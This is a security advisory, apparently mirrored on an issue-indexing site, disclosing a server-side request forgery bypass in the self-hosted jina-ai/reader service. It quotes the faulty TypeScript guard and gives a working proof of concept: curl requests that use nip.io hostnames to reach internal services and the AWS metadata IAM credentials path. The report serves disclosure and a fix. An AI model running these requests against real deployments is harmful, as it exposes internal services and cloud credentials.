Server-Side Request Forgery via domain resolution bypass in self-hosted deployments
- Dominant language
- TypeScript
- Stars
- 12k
- Forks
- 882
- PR merge metrics
- No merged PRs in 30d
Description
(reported via email 2 weeks ago; affected Versions: commit 1574bfd)
### Summary
The jina-ai/reader service (which powers r.jina.ai) fetches user-supplied URLs server-side and converts them to LLM-friendly text. In self-hosted deployments, the SSRF protection that prevents fetching private/internal IP addresses does not apply to hostnames that resolve to private IPs. An unauthenticated attacker can supply a publicly-resolvable domain (such as one using a wildcard DNS service like nip.io) that resolves to a cloud metadata endpoint or any internal host, causing the reader service to fetch and return the internal content.
### Details
The guard against private IP access lives in `src/services/misc.ts` in the `assertNormalizedUrl` method:
```typescript
// src/services/misc.ts lines 15, 70-104
export const privateIpNotAcceptable = Boolean(
process.env['NODE_ENV']?.toLowerCase()?.includes('prod') &&
process.env['GCLOUD_PROJECT']
);
// ...
// Guard 1: direct IP addresses
if (privateIpNotAcceptable &&
(result.hostname === 'localhost') ||
(isIp && isIPInNonPublicRange(normalizedHostname))) {
throw new SecurityCompromiseError(...);
}
// Guard 2: hostname DNS resolution
if (!isIp && result.protocol !== 'blob:') {
const resolved = await lookup(result.hostname, { all: true });
for (const x of resolved) {
if (privateIpNotAcceptable && isIPInNonPublicRange(x.address)) { // <-- bug
throw new SecurityCompromiseError(...);
}
ips.push(x.address);
}
}
```
Two issues combine to create the vulnerability:
1. `privateIpNotAcceptable` is `false` in any self-hosted deployment because it requires both `NODE_ENV` to contain `prod` AND `GCLOUD_PROJECT` to be set. The published Docker image (`ghcr.io/jina-ai/reader`) sets only `PORT=8080` and no `GCLOUD_PROJECT`.
2. Guard 2 (the DNS resolution check on line 94) is entirely gated on `privateIpNotAcceptable`. When that flag is false, the service performs the DNS lookup, obtains the resolved IPs, and proceeds to fetch the URL without blocking private addresses.
Guard 1 (line 70-75) does block direct RFC1918 IPs unconditionally due to a JavaScript operator precedence effect -- `&&` binds tighter than `||`, so the expression evaluates as `(privateIpNotAcceptable && hostname==='localhost') || (isIp && isIPInNonPublicRange(hostname))`, making the `isIp` branch operate independently of `privateIpNotAcceptable`. This means only the hostname-based path is unguarded.
An attacker uses a wildcard DNS service (e.g. nip.io, sslip.io) where `.nip.io` resolves to ``. The domain is a public hostname, so `isIP()` returns 0, causing execution to fall through to Guard 2, which is a no-op in self-hosted mode.
The service uses two fetch mechanisms: a curl-based side-loader (`src/services/curl.ts`) and a headless Chromium instance (`src/services/puppeteer.ts`). The curl path fires first for most requests. Neither checks the resolved IP after DNS. Once the URL passes `assertNormalizedUrl`, no further IP restriction is applied before the HTTP request is made.
### PoC
Prerequisites:
- A self-hosted instance of jina-ai/reader running via the official Docker image with default configuration (no `GCLOUD_PROJECT` env var, `NODE_ENV` not containing `prod`).
- The HTTP/1.1 fallback port (8081 in the container, host-mapped to 9701 in the example below).
- An internal service reachable from the reader container. In cloud deployments this is the instance metadata service at 169.254.169.254 or other services on the VPC.
Step 1: Start the service with default configuration:
```
docker run -d -p 9700:8080 -p 9701:8081 --cap-add SYS_ADMIN ghcr.io/jina-ai/reader:latest
```
Step 2: Verify direct RFC1918 IP is blocked (expected):
```
curl -s --http1.1 -X POST http://localhost:9701/ \
-H "Content-Type: application/json" \
-d '{"url":"http://172.18.0.1:9705/"}'
# Response: HTTP 451 SecurityCompromiseError: Request to localhost or non-public IP: 172.18.0.1
```
Step 3: Use a domain that resolves to the internal address (bypasses the guard):
```
curl -s --http1.1 \
"http://localhost:9701/http://172.18.0.1.nip.io:9705/sensitive-endpoint"
```
Expected response (HTTP 200):
```
Title:
URL Source: http://172.18.0.1.nip.io:9705/sensitive-endpoint
Markdown Content:
SECRET_INTERNAL_METADATA
instance-id: i-0123456789abcdef
hostname: internal-server
iam-role: admin
aws-secret-key: AKIAIOSFODNN7EXAMPLE
```
For cloud metadata (AWS IMDSv1):
```
curl -s --http1.1 \
"http://localhost:9701/http://169-254-169-254.nip.io/latest/meta-data/iam/security-credentials/"
```
Step 4: Same attack works via GET with the URL embedded in the path:
```
curl -s --http1.1 \
"http://localhost:9701/http://172.18.0.1.nip.io:9705/admin"
```
### Impact
An unauthenticated attacker can make the reader service act as an SSRF proxy against any host reachable from the server's network. In the most severe case on cloud infrastructure (AWS, GCP, Azure), this allows retrieval of instance metadata including IAM credentials, enabling full account takeover. In any self-hosted deployment, it allows reconnaissance and data exfiltration from internal services such as Kubernetes API servers, databases, and administrative interfaces whose responses contain text content.
The service is unauthenticated by design, so no user account or API key is required to exploit this vulnerability.
Contributor guide
Research direction
Start in src/services/misc.ts at assertNormalizedUrl, then review the request paths in src/services/curl.ts and src/services/puppeteer.ts. Reproduce the hostname-based bypass with the provided Docker setup and PoC, and verify that self-hosted deployments reject hostnames resolving to non-public IPs before either fetch path proceeds.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- docker, typescript
- Domain
- backend, security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Quiet
- Clarity
- Clearly specified
- Newbie friendliness
- 64/100